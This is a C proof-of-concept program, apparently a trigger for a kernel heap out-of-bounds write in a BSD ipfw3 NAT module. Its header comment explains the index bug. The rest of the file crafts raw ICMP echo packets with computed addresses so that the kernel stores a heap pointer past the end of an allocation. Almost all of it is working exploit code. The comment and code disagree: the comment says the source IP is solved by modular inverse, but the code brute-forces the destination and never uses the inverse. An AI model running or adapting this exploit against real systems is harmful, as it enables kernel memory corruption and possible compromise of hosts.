/*
 * DF-3398 trigger: deterministic outbound-ICMP NAT heap OOB write.
 *
 * sys/net/ipfw3_nat/ip_fw3_nat.c:310 computes
 *      s->alias_port = htons(s->src_addr * s->dst_addr % ALIAS_RANGE)
 * (src/dst are HOST-order u32 from args->f_id, see ip_fw3.c:413-414)
 * and :326 stores
 *      alias->icmp_in[s->alias_port] = s2;      <-- raw (byte-swapped) index
 * into struct cfg_alias.icmp_in[ALIAS_RANGE=64511] (ip_fw3_nat.h:133).
 *
 * On little-endian x86_64, index = bswap16(x) can be up to 0xFFxx
 * while the array ends at 64510 (0xFBFE): for x with low byte 0xFC..0xFF
 * the store lands 8..8184 bytes PAST the end of the ~1.5MB cfg_alias
 * allocation, writing an 8-byte kernel heap pointer (struct nat_state2*)
 * at an attacker-chosen slot.
 *
 * This tool picks the packet's src IP so that
 *      (src_hostorder * dst_hostorder) % 64511 == TARGET_X
 * exactly (modular inverse), pins itself to a chosen CPU, and sends the
 * ICMP echo request that drives the NAT engine into the OOB store.
 *
 * usage: icmp_oob <cpu> <x0> [x1 ...]   (x = desired %64511 residue)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/usched.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define ALIAS_RANGE 64511UL
static uint32_t dst_host = 0x0A000202; /* 10.0.2.2 (guest default gw) */

/* C-semantics residue: (src*dst) wraps mod 2^32 BEFORE % 64511 */
static uint32_t
minv(uint32_t a, uint32_t m)
{
	int64_t t = 0, nt = 1, r = m, nr = a;
	while (nr != 0) {
		int64_t q = r / nr, tmp;
		tmp = t - q * nt; t = nt; nt = tmp;
		tmp = r - q * nr; r = nr; nr = tmp;
	}
	if (t < 0)
		t += m;
	return (uint32_t)t;
}

static uint16_t
cksum(void *v, int len)
{
	uint16_t *p = v;
	uint32_t sum = 0;

	while (len > 1) {
		sum += *p++;
		len -= 2;
	}
	if (len == 1)
		sum += *(uint8_t *)p;
	while (sum >> 16)
		sum = (sum >> 16) + (sum & 0xffff);
	return (~sum) & 0xffff;
}

int
main(int argc, char **argv)
{
	uint32_t inv = minv(dst_host % ALIAS_RANGE, ALIAS_RANGE);
	int cpu = atoi(argv[1]);
	int s, i, one = 1, id = 0x4242;

	if (argc < 3) {
		fprintf(stderr, "usage: %s cpu x0 [x1 ...]\n", argv[0]);
		return 2;
	}
	if (usched_set(getpid(), USCHED_SET_CPU, &cpu, sizeof(cpu)) != 0)
		perror("usched_set");

	s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
	if (s < 0) { perror("socket"); return 1; }
	if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
		perror("IP_HDRINCL");

	for (i = 2; i < argc; i++) {
		uint32_t x = strtoul(argv[i], NULL, 0);
		/* fixed src 1.0.203.204; brute-force dst with C wrap semantics */
		uint32_t src_host = 0x0100CBCC;
		uint32_t k, dst_cand = 0;
		char pktbuf[sizeof(struct ip) + 8 + 56];
		struct ip *ip = (struct ip *)pktbuf;
		struct icmp *ic = (struct icmp *)(pktbuf + sizeof(struct ip));
		struct sockaddr_in sin;
		uint32_t got;

		for (k = 1; k < 200000; k++) {
			uint32_t d = k * 64511 + 3;	/* dst candidates ~ tiny IPs x.y.z */
			if (((uint32_t)(src_host * d)) % ALIAS_RANGE == x) {
				dst_cand = d;
				break;
			}
		}
		if (dst_cand == 0) {
			fprintf(stderr, "x=%u: no dst found\n", x);
			continue;
		}
		dst_host = dst_cand;
		got = ((uint32_t)(src_host * dst_host)) % ALIAS_RANGE;
		if (got != x) {
			fprintf(stderr, "x=%u: math mismatch got %u\n", x, got);
			continue;
		}
		uint16_t idx = (uint16_t)(((x & 0xff) << 8) | ((x >> 8) & 0xff));
		printf("x=%u(0x%04x) src=%s dst=%s raw_idx=%u oob_slots=%d off_past_end=%d\n",
		    x, x, inet_ntoa(*(struct in_addr *)&src_host), inet_ntoa(*(struct in_addr *)&dst_host),
		    idx, (int)idx - 64510, 8 * ((int)idx - 64510));

		memset(pktbuf, 0, sizeof(pktbuf));
		ip->ip_hl = 5;
		ip->ip_v = 4;
		ip->ip_tos = 0;
		ip->ip_len = htons(sizeof(pktbuf));
		ip->ip_id = htons(id & 0xffff);
		ip->ip_off = 0;
		ip->ip_ttl = 64;
		ip->ip_p = IPPROTO_ICMP;
		ip->ip_sum = 0;
		ip->ip_src.s_addr = htonl(src_host);
		ip->ip_dst.s_addr = htonl(dst_host);
		ip->ip_sum = cksum(ip, sizeof(struct ip));

		ic->icmp_type = ICMP_ECHO;
		ic->icmp_code = 0;
		ic->icmp_id = htons(id & 0xffff);
		ic->icmp_seq = htons((id >> 16) & 0xffff);
		ic->icmp_cksum = 0;
		ic->icmp_cksum = cksum(ic, 8 + 56);
		id++;

		memset(&sin, 0, sizeof(sin));
		sin.sin_family = AF_INET;
		sin.sin_len = sizeof(sin);
		sin.sin_addr.s_addr = ip->ip_dst.s_addr;
		if (sendto(s, pktbuf, sizeof(pktbuf), 0,
		    (struct sockaddr *)&sin, sizeof(sin)) < 0)
			perror("sendto");
		usleep(50000);
	}
	printf("trigger done on cpu %d\n", cpu);
	return 0;
}
